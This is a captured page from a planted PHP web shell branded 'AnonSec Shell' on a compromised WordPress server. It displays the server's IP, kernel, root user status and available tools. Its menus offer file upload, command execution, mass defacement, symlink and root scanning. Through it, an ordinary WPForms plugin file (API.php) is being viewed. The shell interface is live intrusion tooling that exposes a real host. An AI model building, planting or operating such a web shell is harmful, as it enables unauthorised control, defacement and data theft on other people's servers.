AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1534260/task/1534260/cwd/plugins/wpforms-lite/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/1534260/task/1534260/cwd/plugins/wpforms-lite/src//API.php
<?php

namespace WPForms;

use WPForms\Admin\Tools\Views\Import;

/**
 * Class API.
 *
 * @since 1.8.6
 */
class API {

	/**
	 * Registry.
	 * Contains name of the class and method to be called.
	 * For non-static methods, should contain the id to operate via wpforms->get( 'class' ).
	 *
	 * @todo Add non-static methods processing.
	 *
	 * @since 1.8.6
	 *
	 * @var array[]
	 */
	private $registry = [
		'import_forms' => [
			'class'  => Import::class,
			'method' => 'import_forms',
		],
	];

	/**
	 * Magic method to call a method from registry.
	 *
	 * @since 1.8.6
	 *
	 * @param string $name Method name.
	 * @param array  $args Arguments.
	 *
	 * @return mixed|null
	 */
	public function __call( string $name, array $args ) {

		$callback = $this->registry[ $name ] ?? null;

		if ( $callback === null ) {
			return null;
		}

		return call_user_func( [ $callback['class'], $callback['method'] ], ...$args );
	}
}

Anon7 - 2022
AnonSec Team